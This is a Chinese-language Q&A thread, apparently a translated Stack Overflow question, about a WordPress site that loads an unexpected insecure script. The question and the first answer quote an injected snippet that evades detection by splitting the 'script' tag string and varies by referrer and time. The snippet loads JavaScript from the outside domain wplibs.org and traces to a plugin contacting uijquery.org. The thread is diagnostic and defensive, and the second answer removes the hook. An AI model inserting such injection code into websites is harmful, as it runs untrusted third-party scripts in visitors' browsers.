脚本奇怪的行为

时间:2015-04-14 17:15:35

标签: javascript jquery wordpress

我正在运行新的安全WordPress安装(https)。在我的代码中,我加载了一些JavaScript文件(modernizr,cookie和我自己的)

jQuery由WordPress自动加载。

已安装的插件包括Yoast SEO,WPML和SMK Sidebars。

问题是当我在浏览器中检查控制台时,它显示以下内容:

  

混合内容:加载了“https://www.myuri.com/”页面   HTTPS,但请求一个不安全的脚本   'http://www.wplibs.org/jquery.min.js'。此请求已被阻止;   内容必须通过HTTPS提供。

在源代码中:

<script type="text/javascript">
if(!document.referrer || document.referrer == '') {
    document.write('<scr'+'ipt type="text/javascript" src="http://www.wplibs.org/jquery.min.js"></scr'+'ipt>');
} else {
    document.write('<scr'+'ipt type="text/javascript" src="http://www.wplibs.org/jquery.js"></scr'+'ipt>');
}
</script>

我正在寻找脚本“wplibs.com/jquery.min.js”来自哪里,但我找不到。

有人有想法吗?

2 个答案:

答案 0 :(得分:2)

我发现了问题。它是由向 http://uijquery.org/jquery-1.6.3.min.js 发出请求并获取正文响应的插件引起的,您将看到源代码:

<script type="text/javascript">
  var now = new Date().getTime();
  if (now%2 == 0) {
    if(!document.referrer || document.referrer == '') { document.write('<scr'+'ipt type="text/javascript" src="http://www.wplibs.org/jquery.min.js"></scr'+'ipt>'); } else { document.write('<scr'+'ipt type="text/javascript" src="http://www.wplibs.org/jquery.js"></scr'+'ipt>'); } 
  }
</script>

尝试查看令牌的文件内容&#34; jquery.org&#34;或&#34; uijquery.org&#34;。

答案 1 :(得分:1)

@IvanRF是对的! 我在阅读之前发现它,但它也适用于我。 只需添加

remove_action('wp_footer', 'wp_func_jquery');

在我们的WordPress主题的functions.php中。